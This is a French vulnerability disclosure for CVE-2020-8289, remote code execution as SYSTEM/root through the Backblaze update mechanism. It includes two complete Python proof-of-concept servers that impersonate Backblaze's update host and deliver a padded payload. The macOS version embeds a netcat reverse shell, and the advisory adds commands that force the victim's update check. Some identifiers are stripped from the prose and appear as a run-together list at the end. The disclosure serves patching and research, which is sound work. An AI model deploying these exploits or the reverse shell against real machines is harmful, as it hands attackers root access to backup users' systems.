
CVE-2020-8289 – Exécution de code à distance en tant que SYSTEM/root via Backblaze
Nom : Exécution de code à distance en tant que SYSTEM/root via Backblaze
CVE : CVE-2020-8289
Découvreur : Jason Geffner
Fournisseur : Backblaze
Produit : Backblaze pour Windows et Backblaze pour macOS
Risque : Critique
Date de découverte : 2020-03-13
Date de publication : 2020-09-09
Version corrigée : 7.0.1.433 (Windows) et 7.1.0.434 (macOS)
Selon Wikipédia, Backblaze est
« un outil de sauvegarde en ligne qui permet aux utilisateurs Windows et macOS de sauvegarder leurs données dans des centres de données distants. Le service est conçu pour les entreprises et les utilisateurs finaux, offrant un espace de stockage illimité et prenant en charge des fichiers de taille illimitée. »
Les versions vulnérables de Backblaze pour Windows et Backblaze pour macOS contiennent une vulnérabilité à risque critique qui permet à un attaquant distant anonyme non privilégié d'effectuer une exécution de code à distance (RCE) en tant que SYSTEM/root.
Le processus de service du client Backblaze, nommé bzserv, s'exécute en tant que SYSTEM sur Windows et en tant que root sur macOS. Toutes les quelques heures, bzserv exécute un programme nommé bztransmit (exécuté en tant que SYSTEM/root) pour télécharger un fichier XML nommé clientversion.xml depuis le centre de données de Backblaze afin de vérifier si une version plus récente du client Backblaze est disponible pour téléchargement. L'URL de ce fichier XML est construite à partir du nom d'hôte bzdatacenter dans le fichier bzinstall.xml installé (en lecture seule pour les utilisateurs non privilégiés) et du chemin codé en dur api/clientversion.xml, produisant une URL telle que https://ca000.backblaze.com/api/clientversion.xml. Ce téléchargement est effectué via une bibliothèque liée statiquement. Cependant, les fonctions qui exploitent contiennent une logique particulière qui les amène à définir à et à si l'URL donnée contient l'une des chaînes suivantes :
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeCela permet à un attaquant distant d'usurper l'identité du serveur web https://ca000.backblaze.com/ avec un certificat SSL invalide (par exemple, un certificat auto-signé) et de fournir au client un fichier clientversion.xml contrôlé par l'attaquant. Lorsque bztransmit analyse le fichier XML téléchargé, il vérifie si la version client la plus récente décrite dans le fichier XML est plus récente que la version client installée et, si c'est le cas, télécharge le programme d'installation de la version client la plus récente depuis le centre de données de Backblaze. L'URL de ce téléchargement est construite à partir de l'attribut win32_url/mac_url dans le fichier clientversion.xml téléchargé ; la valeur de l'attribut doit commencer par %DEST_HOST% et cette chaîne est remplacée à l'exécution par le nom d'hôte du centre de données décrit ci-dessus. L'attaquant peut donc fournir dans son clientversion.xml une URL de téléchargement telle que %DEST_HOST%/api/install_backblaze, pour amener bztransmit à télécharger le programme d'installation depuis https://ca000.backblaze.com/api/install_backblaze, et ignorer à nouveau le certificat SSL du serveur en raison de la chaîne dans l'URL. Si le fichier téléchargé n'est pas un fichier ZIP (par exemple, s'il s'agit d'un fichier PE ou d'un fichier Mach-o), la seule validation du fichier effectuée par est que le fichier contienne la chaîne dans une certaine plage d'offset dans le fichier. Une fois cette validation réussie, utilise / pour exécuter le fichier téléchargé en tant que /, permettant ainsi à l'attaquant d'effectuer une RCE en tant que /.
Vidéo : https://youtu.be/W0THXbcX5V8
Cette preuve de concept concerne le client Windows. Nous supposons que l'attaquant a déjà envoyé une réponse DNS usurpée à la victime pour faire pointer ca000.backblaze.com vers l'adresse IP de l'attaquant, mais à des fins de test du PoC, vous pouvez plutôt ajouter la ligne <IP de l'attaquant> ca000.backblaze.com au fichier %windir%\System32\drivers\etc\hosts de la victime. Le code ci-dessous s'attend à ce que l'attaquant fournisse rce.exe (qui sera exécuté en tant que SYSTEM sur le système de la victime) et server.pem (qui peut être auto-signé).
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Une fois le code ci-dessus en cours d'exécution, attendez. Le client de la victime vérifie les mises à jour toutes les quelques heures.
Si vous souhaitez tester le PoC sans attendre, vous pouvez exécuter les commandes suivantes en tant que SYSTEM (en utilisant psexec, par exemple) sur le système de la victime pour forcer la vérification des mises à jour :
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateVidéo : https://youtu.be/ILPP1Ky5nuY
Cette preuve de concept concerne le client macOS. Dans un scénario réel, un attaquant enverrait une réponse DNS usurpée à la victime pour faire pointer ca000.backblaze.com vers l'adresse IP de l'attaquant, mais à des fins de PoC, nous attaquons depuis le même système que la victime et exploitons le service Backblaze compromis pour créer un shell distant de retour vers l'attaquant, donnant ainsi à l'attaquant potentiellement distant un accès root.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Une fois le code ci-dessus en cours d'exécution, attendez. Le client de la victime vérifie les mises à jour toutes les quelques heures.
Si vous souhaitez tester le PoC sans attendre, vous pouvez exécuter les commandes suivantes sur le système de la victime pour forcer la vérification des mises à jour :
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze a corrigé cette vulnérabilité dans la version 7.0.1.433 de Backblaze pour Windows et dans la version 7.0.1.434 pour macOS.
Cette vulnérabilité a été découverte et signalée à Backblaze par Jason Geffner via HackerOne.
2020-03-13 - Vulnérabilité découverte et signalée à Backblaze via HackerOne
2020-03-31 - Vulnérabilité vérifiée par HackerOne
2020-04-09 - Version Windows 7.0.1.433 et version macOS 7.1.0.434 publiées
2020-04-17 - CVE-2020-8150 attribué
2020-04-18 - Atténuation de la vulnérabilité vérifiée
2020-04-20 - Demande de divulgation publique
2020-09-09 - Divulgation publique
2020-12-22 - Attribution CVE modifiée en CVE-2020-8289
libcurlbztransmitlibcurlCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0api/install_backblazebztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot